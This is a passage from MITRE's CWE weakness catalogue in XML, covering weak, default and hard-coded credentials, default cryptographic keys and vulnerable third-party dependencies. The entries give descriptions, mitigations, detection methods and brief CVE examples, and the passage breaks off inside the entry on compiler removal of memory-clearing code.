          <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
          <Body_Text>Multiple OT products used weak authentication.</Body_Text>
        </Demonstrative_Example>
      </Demonstrative_Examples>
      <Observed_Examples>
        <Observed_Example>
          <Reference>CVE-2022-30034</Reference>
          <Description>Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2022-30034</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2021-3116</Reference>
          <Description>Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an  incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2021-3116</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2022-29965</Reference>
          <Description>Distributed Control System (DCS) uses a deterministic algorithm to generate utility passwords</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2022-29965</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2022-29959</Reference>
          <Description>Initialization file contains  credentials that can be decoded using a "simple string transformation"</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2022-29959</Link>
        </Observed_Example>
      </Observed_Examples>
      <References>
        <Reference External_Reference_ID="REF-1283"/>
      </References>
      <Content_History>
        <Submission>
          <Submission_Name>CWE Content Team</Submission_Name>
          <Submission_Organization>MITRE</Submission_Organization>
          <Submission_Date>2022-10-05</Submission_Date>
        </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1391" Name="Use of Weak Credentials" Abstraction="Class" Structure="Simple" Status="Incomplete">
      <Description>The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.</Description>
      <Extended_Description>
	<xhtml:p>By design, authentication protocols try to ensure that attackers must perform brute force attacks if they do not know the credentials such as a key or password. However, when these credentials are easily predictable or even fixed (as with default or hard-coded passwords and keys), then the attacker can defeat the mechanism without relying on brute force.</xhtml:p>
	<xhtml:p>Credentials may be weak for different reasons, such as:</xhtml:p>
	<xhtml:ul>
	  <xhtml:li>Hard-coded (i.e., static and unchangeable by the administrator)</xhtml:li>
	  <xhtml:li>Default (i.e., the same static value across different deployments/installations, but able to be changed by the administrator)</xhtml:li>
	  <xhtml:li>Predictable (i.e., generated in a way that produces unique credentials across deployments/installations, but can still be guessed with reasonable efficiency)</xhtml:li>
	</xhtml:ul>
	<xhtml:p>Even if a new, unique credential is intended to be generated for each product installation, if the generation is predictable, then that may also simplify guessing attacks.</xhtml:p>
      </Extended_Description>
      <Related_Weaknesses>
	<Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
	<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
	<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
	<Technology Class="ICS/OT" Prevalence="Undetermined"/>
	<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
	<Introduction>
	  <Phase>Requirements</Phase>
	</Introduction>
	<Introduction>
	  <Phase>Architecture and Design</Phase>
	</Introduction>
	<Introduction>
	  <Phase>Installation</Phase>
	</Introduction>
	<Introduction>
	  <Phase>Operation</Phase>
	</Introduction>
      </Modes_Of_Introduction>
	<Demonstrative_Examples>
        <Demonstrative_Example Demonstrative_Example_ID="DX-153">
          <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
          <Body_Text>Multiple OT products used weak credentials.</Body_Text>
        </Demonstrative_Example>
    </Demonstrative_Examples>
      <Observed_Examples>
	<Observed_Example>
	  <Reference>CVE-2022-30270</Reference>
	  <Description>Remote Terminal Unit (RTU) uses default credentials for some SSH accounts</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2022-30270</Link>
	</Observed_Example>
	<Observed_Example>
        <Reference>CVE-2022-29965</Reference>
        <Description>Distributed Control System (DCS) uses a deterministic algorithm to generate utility passwords</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2022-29965</Link>
    </Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2022-30271</Reference>
	  <Description>Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2022-30271</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2021-38759</Reference>
	  <Description>microcontroller board has default password, allowing admin access</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2021-38759</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2021-41192</Reference>
	  <Description>data visualization/sharing package uses default secret keys or cookie values if they are not specified in environment variables</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2021-41192</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2020-27020</Reference>
	  <Description>password manager does not generate cryptographically strong passwords, allowing prediction of passwords using guessable details such as time of generation</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2020-27020</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2020-8632</Reference>
	  <Description>password generator for cloud application has small length value, making it easier for brute-force guessing</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2020-8632</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2020-5365</Reference>
	  <Description>network-attached storage (NAS) system has predictable default passwords for a diagnostics/support account</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2020-5365</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2020-5248</Reference>
	  <Description>IT asset management app has a default encryption key that is the same across installations </Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2020-5248</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2012-3503</Reference>
	  <Description>Installation script has a hard-coded secret token value, allowing attackers to bypass authentication</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2012-3503</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2010-2306</Reference>
	  <Description>Intrusion Detection System (IDS) uses the same static, private SSL keys for multiple devices and installations, allowing decryption of SSL traffic</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2010-2306</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2001-0618</Reference>
	  <Description>Residential gateway uses the last 5 digits of the 'Network Name' or SSID as the default WEP key, which allows attackers to get the key by sniffing the SSID, which is sent in the clear</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2001-0618</Link>
	</Observed_Example>
      </Observed_Examples>
      <References>
            <Reference External_Reference_ID="REF-1303"/>
            <Reference External_Reference_ID="REF-1304"/>
			<Reference External_Reference_ID="REF-1283"/>
      </References>
      <Content_History>
	<Submission>
	  <Submission_Name>CWE Content Team</Submission_Name>
	  <Submission_Organization>MITRE</Submission_Organization>
	  <Submission_Date>2022-10-06</Submission_Date>
	</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1392" Name="Use of Default Credentials" Abstraction="Base" Structure="Simple" Status="Incomplete">
      <Description>The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality.</Description>
      <Extended_Description>
	It is common practice for products to be designed to use
	default keys, passwords, or other mechanisms for
	authentication.  The rationale is to simplify the
	manufacturing process or the system administrator's task of
	installation and deployment into an enterprise. However, if
	admins do not change the defaults, it is easier for attackers
	to bypass authentication quickly across multiple
	organizations.
      </Extended_Description>
      <Related_Weaknesses>
	<Related_Weakness Nature="ChildOf" CWE_ID="1391" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
	<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
	<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
	<Technology Class="ICS/OT" Prevalence="Undetermined"/>
	<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
	<Introduction>
	  <Phase>Architecture and Design</Phase>
	</Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
	<Consequence>
	  <Scope>Authentication</Scope>
	  <Impact>Gain Privileges or Assume Identity</Impact>
	</Consequence>
      </Common_Consequences>
      <Potential_Mitigations>
	<Mitigation>
	  <Phase>Requirements</Phase>
	  <Description>Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.</Description>
	  <Effectiveness>High</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Architecture and Design</Phase>
	  <Description>Force the administrator to change the credential upon installation.</Description>
	  <Effectiveness>High</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Installation</Phase>
	  <Phase>Operation</Phase>
	  <Description>The product administrator could change the defaults upon installation or during operation.</Description>
	  <Effectiveness>Moderate</Effectiveness>
	</Mitigation>
      </Potential_Mitigations>
	<Demonstrative_Examples>
        <Demonstrative_Example Demonstrative_Example_ID="DX-153">
          <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
          <Body_Text>At least one OT product used default credentials.</Body_Text>
        </Demonstrative_Example>
    </Demonstrative_Examples>
      <Observed_Examples>
	<Observed_Example>
	  <Reference>CVE-2022-30270</Reference>
	  <Description>Remote Terminal Unit (RTU) uses default credentials for some SSH accounts</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2022-30270</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2021-41192</Reference>
	  <Description>data visualization/sharing package uses default secret keys or cookie values if they are not specified in environment variables</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2021-41192</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2021-38759</Reference>
	  <Description>microcontroller board has default password</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2021-38759</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2010-2306</Reference>
	  <Description>Intrusion Detection System (IDS) uses the same static, private SSL keys for multiple devices and installations, allowing decryption of SSL traffic</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2010-2306</Link>
	</Observed_Example>
      </Observed_Examples>
	  <References>
	  	<Reference External_Reference_ID="REF-1283"/>
      </References>
      <Content_History>
	<Submission>
	  <Submission_Name>CWE Content Team</Submission_Name>
	  <Submission_Organization>MITRE</Submission_Organization>
	  <Submission_Date>2022-10-07</Submission_Date>
	</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1393" Name="Use of Default Password" Abstraction="Base" Structure="Simple" Status="Incomplete">
      <Description>The product uses default passwords for potentially critical functionality.</Description>
      <Extended_Description>
	It is common practice for products to be designed to use
	default passwords for authentication.  The rationale is to
	simplify the manufacturing process or the system
	administrator's task of installation and deployment into an
	enterprise. However, if admins do not change the defaults,
	then it makes it easier for attackers to quickly bypass
	authentication across multiple organizations. There are many
	lists of default passwords and default-password scanning tools
	that are easily available from the World Wide Web.
      </Extended_Description>
      <Related_Weaknesses>
	<Related_Weakness Nature="ChildOf" CWE_ID="1392" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
		<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
		<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
		<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
		<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		<Technology Class="ICS/OT" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
	<Introduction>
	  <Phase>Architecture and Design</Phase>
	</Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
	<Consequence>
	  <Scope>Authentication</Scope>
	  <Impact>Gain Privileges or Assume Identity</Impact>
	</Consequence>
      </Common_Consequences>
      <Potential_Mitigations>
	<Mitigation>
	  <Phase>Requirements</Phase>
	  <Description>Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.</Description>
	  <Effectiveness>High</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Documentation</Phase>
	  <Description>Ensure that product documentation clearly emphasizes the presence of default passwords and provides steps for the administrator to change them.</Description>
	  <Effectiveness>Limited</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Architecture and Design</Phase>
	  <Description>Force the administrator to change the credential upon installation.</Description>
	  <Effectiveness>High</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Installation</Phase>
	  <Phase>Operation</Phase>
	  <Description>The product administrator could change the defaults upon installation or during operation.</Description>
	  <Effectiveness>Moderate</Effectiveness>
	</Mitigation>
      </Potential_Mitigations>
	<Demonstrative_Examples>
        <Demonstrative_Example Demonstrative_Example_ID="DX-153">
          <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
          <Body_Text>Multiple OT products used default credentials.</Body_Text>
        </Demonstrative_Example>
    </Demonstrative_Examples>
      <Observed_Examples>
	<Observed_Example>
	  <Reference>CVE-2022-30270</Reference>
	  <Description>Remote Terminal Unit (RTU) uses default credentials for some SSH accounts</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2022-30270</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2022-2336</Reference>
	  <Description>OPC Unified Architecture (OPC UA) industrial automation product has a default password</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2022-2336</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2021-38759</Reference>
	  <Description>microcontroller board has default password</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2021-38759</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2021-44480</Reference>
	  <Description>children's smart watch has default passwords allowing attackers to send SMS commands and listen to the device's surroundings</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2021-44480</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2020-11624</Reference>
	  <Description>surveillance camera has default password for the admin account</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2020-11624</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2018-15719</Reference>
	  <Description>medical dental records product installs a MySQL database with a blank default password</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2018-15719</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2014-9736</Reference>
	  <Description>healthcare system for archiving patient images has default passwords for key management and storage databases</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2014-9736</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2000-1209</Reference>
	  <Description>database product installs admin account with default null password, allowing privileges, as exploited by various worms </Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2000-1209</Link>
	</Observed_Example>
      </Observed_Examples>
      <References>
	  	<Reference External_Reference_ID="REF-1283"/>
		<Reference External_Reference_ID="REF-1303"/>
      </References>
      <Content_History>
	<Submission>
	  <Submission_Name>CWE Content Team</Submission_Name>
	  <Submission_Organization>MITRE</Submission_Organization>
	  <Submission_Date>2022-10-07</Submission_Date>
	</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1394" Name="Use of Default Cryptographic Key" Abstraction="Base" Structure="Simple" Status="Incomplete">
      <Description>The product uses a default cryptographic key for potentially critical functionality.</Description>
      <Extended_Description>
	It is common practice for products to be designed to use
	default keys.  The rationale is to simplify the manufacturing
	process or the system administrator's task of installation and
	deployment into an enterprise. However, if admins do not
	change the defaults, it is easier for attackers to bypass
	authentication quickly across multiple organizations.
      </Extended_Description>
      <Related_Weaknesses>
	<Related_Weakness Nature="ChildOf" CWE_ID="1392" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
	<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
	<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
	<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
	<Introduction>
	  <Phase>Architecture and Design</Phase>
	</Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
	<Consequence>
	  <Scope>Authentication</Scope>
	  <Impact>Gain Privileges or Assume Identity</Impact>
	</Consequence>
      </Common_Consequences>
      <Potential_Mitigations>
	<Mitigation>
	  <Phase>Requirements</Phase>
	  <Description>Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.</Description>
	  <Effectiveness>High</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Architecture and Design</Phase>
	  <Description>Force the administrator to change the credential upon installation.</Description>
	  <Effectiveness>High</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Installation</Phase>
	  <Phase>Operation</Phase>
	  <Description>The product administrator could change the defaults upon installation or during operation.</Description>
	  <Effectiveness>Moderate</Effectiveness>
	</Mitigation>
      </Potential_Mitigations>
      <Observed_Examples>
	<Observed_Example>
	  <Reference>CVE-2018-3825</Reference>
	  <Description>cloud cluster management product has a default master encryption key</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2018-3825</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2016-1561</Reference>
	  <Description>backup storage product has a default SSH public key in the authorized_keys file, allowing root access</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2016-1561</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2010-2306</Reference>
	  <Description>Intrusion Detection System (IDS) uses the same static, private SSL keys for multiple devices and installations, allowing decryption of SSL traffic</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2010-2306</Link>
	</Observed_Example>
      </Observed_Examples>
      <Content_History>
	<Submission>
	  <Submission_Name>CWE Content Team</Submission_Name>
	  <Submission_Organization>MITRE</Submission_Organization>
	  <Submission_Date>2022-10-07</Submission_Date>
	</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1395" Name="Dependency on Vulnerable Third-Party Component" Abstraction="Class" Structure="Simple" Status="Incomplete">
	    <Description>The product has a dependency on a third-party component that contains one or more known vulnerabilities.</Description>
	    <Extended_Description>
	      <xhtml:p>Many products are large enough or complex enough that part of their functionality uses libraries, modules, or other intellectual property developed by third parties who are not the product creator. For example, even an entire operating system might be from a third-party supplier in some hardware products. Whether open or closed source, these components may contain publicly known vulnerabilities that could be exploited by adversaries to compromise the product.</xhtml:p>
	    </Extended_Description>
	    <Related_Weaknesses>
	      <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
	    </Related_Weaknesses>
	    <Applicable_Platforms>
	      <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	      <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
	      <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
	      <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
	    </Applicable_Platforms>
	    <Modes_Of_Introduction>
	      <Introduction>
		<Phase>Architecture and Design</Phase>
		<Note>The product architect or designer might choose a component that is already known to contain vulnerabilities or has a high likelihood of containing vulnerabilities in the future.</Note>
	      </Introduction>
	      <Introduction>
		<Phase>Implementation</Phase>
		<Note>For reasons of compatibility or stability, developers might choose a third-party component, such as a library, that is already known to contain vulnerabilities. </Note>
	      </Introduction>
	      <Introduction>
		<Phase>Patching and Maintenance</Phase>
		<Note>Since all products contain vulnerabilities, over time, a third-party component will be discovered to have a vulnerability.</Note>
	      </Introduction>
	    </Modes_Of_Introduction>
	    <Common_Consequences>
	      <Consequence>
		<Scope>Confidentiality</Scope>
		<Scope>Integrity</Scope>
		<Scope>Availability</Scope>
		<Impact>Varies by Context</Impact>
		<Note>The consequences vary widely, depending on the vulnerabilities that exist in the component; how those vulnerabilities can be "reached" by adversaries, as the exploitation paths and attack surface will vary depending on how the component is used; and the criticality of the privilege levels and features for which the product relies on the component.</Note>
	      </Consequence>
	    </Common_Consequences>
	    <Detection_Methods>
	      <Detection_Method>
		<Method>Automated Analysis</Method>
		<Description>For software, use Software Composition Analysis (SCA) tools, which automatically analyze products to identify third-party dependencies. Often, SCA tools can be used to link with known vulnerabilities in the dependencies that they detect. There are commercial and open-source alternatives, such as OWASP Dependency-Check [REF-1312]. Many languages or frameworks have package managers with similar capabilities, such as npm audit for JavaScript, pip-audit for Python, govulncheck for Go, and many others. Dynamic methods can detect loading of third-party components.</Description>
		<Effectiveness>High</Effectiveness>
		<Effectiveness_Notes>Software Composition Analysis (SCA) tools face a number of technical challenges that can lead to false positives and false negatives. Dynamic methods have other technical challenges.</Effectiveness_Notes>
	      </Detection_Method>
	    </Detection_Methods>
	    <Potential_Mitigations>
	      <Mitigation>
		<Phase>Requirements</Phase>
		<Phase>Policy</Phase>
		<Description>In some industries such as healthcare [REF-1320] [REF-1322] or technologies such as the cloud [REF-1321], it might be unclear about who is responsible for applying patches for third-party vulnerabilities: the vendor, the operator/customer, or a separate service. Clarifying roles and responsibilities can be important to minimize confusion or unnecessary delay when third-party vulnerabilities are disclosed.</Description>
	      </Mitigation>
	      <Mitigation>
		<Phase>Requirements</Phase>
		<Description>Require a Bill of Materials for all components and sub-components of the product. For software, require a Software Bill of Materials (SBOM) [REF-1247] [REF-1311].</Description>
	      </Mitigation>
	      <Mitigation>
		<Phase>Architecture and Design</Phase>
		<Phase>Implementation</Phase>
		<Phase>Integration</Phase>
		<Phase>Manufacturing</Phase>
		<Description>Maintain a Bill of Materials for all components and sub-components of the product. For software, maintain a Software Bill of Materials (SBOM). According to [REF-1247], "An SBOM is a formal, machine-readable inventory of software components and dependencies, information about those components, and their hierarchical relationships."</Description>
	      </Mitigation>
	      <Mitigation>
		<Phase>Operation</Phase>
		<Phase>Patching and Maintenance</Phase>
		<Description>Actively monitor when a third-party component vendor announces vulnerability patches; fix the third-party component as soon as possible; and make it easy for operators/customers to obtain and apply the patch.</Description>
	      </Mitigation>
	      <Mitigation>
		<Phase>Operation</Phase>
		<Phase>Patching and Maintenance</Phase>
		<Description>Continuously monitor changes in each of the product's components, especially when the changes indicate new vulnerabilities, end-of-life (EOL) plans, etc.</Description>
	      </Mitigation>
	    </Potential_Mitigations>
	    <Demonstrative_Examples>
	      <Demonstrative_Example>
		<Intro_Text>The "SweynTooth" vulnerabilities in Bluetooth Low Energy (BLE) software development kits (SDK) were found to affect multiple Bluetooth System-on-Chip (SoC) manufacturers. These SoCs were used by many products such as medical devices, Smart Home devices, wearables, and other IoT devices. [REF-1314] [REF-1315]</Intro_Text>
	      </Demonstrative_Example>
	      <Demonstrative_Example>
		<Intro_Text>log4j, a Java-based logging framework, is used in a large number of products, with estimates in the range of 3 billion affected devices [REF-1317]. When the "log4shell" (CVE-2021-44228) vulnerability was initially announced, it was actively exploited for remote code execution, requiring urgent mitigation in many organizations. However, it was unclear how many products were affected, as Log4j would sometimes be part of a long sequence of transitive dependencies. [REF-1316]</Intro_Text>
	      </Demonstrative_Example>
	    </Demonstrative_Examples>
	    <References>
	      <Reference External_Reference_ID="REF-1313"/>
	      <Reference External_Reference_ID="REF-1212"/>
	      <Reference External_Reference_ID="REF-1247"/>
	      <Reference External_Reference_ID="REF-1311"/>
	      <Reference External_Reference_ID="REF-1312"/>
	      <Reference External_Reference_ID="REF-1314"/>
	      <Reference External_Reference_ID="REF-1315"/>
	      <Reference External_Reference_ID="REF-1316"/>
	      <Reference External_Reference_ID="REF-1317"/>
	      <Reference External_Reference_ID="REF-1320"/>
	      <Reference External_Reference_ID="REF-1321"/>
	      <Reference External_Reference_ID="REF-1322" Section="Section 6.1: Medical Device Procurement"/>
	    </References>
	    <Content_History>
	      <Submission>
		<Submission_Name>CWE Content Team</Submission_Name>
		<Submission_Organization>MITRE</Submission_Organization>
		<Submission_Date>2023-01-25</Submission_Date>
	      </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
	      <Contribution Type="Feedback">
		<Contribution_Name>Samreen Arshad</Contribution_Name>
		<Contribution_Organization>Balochistan University of Information Technology, Engineering and Management Sciences</Contribution_Organization>
		<Contribution_Date>2022-04-18</Contribution_Date>
		<Contribution_Comment>Submitted a request for coverage of "Vulnerable and Outdated Components"</Contribution_Comment>
	      </Contribution>
	    </Content_History>
	  </Weakness>
      <Weakness ID="14" Name="Compiler Removal of Code to Clear Buffers" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."</Description>
         <Extended_Description>
            <xhtml:p>This compiler optimization error occurs when:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>1. Secret data are stored in memory.</xhtml:li>
               <xhtml:li>2. The secret data are scrubbed from memory by overwriting its contents.</xhtml:li>
               <xhtml:li>3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="733" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Build and Compilation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.</Description>
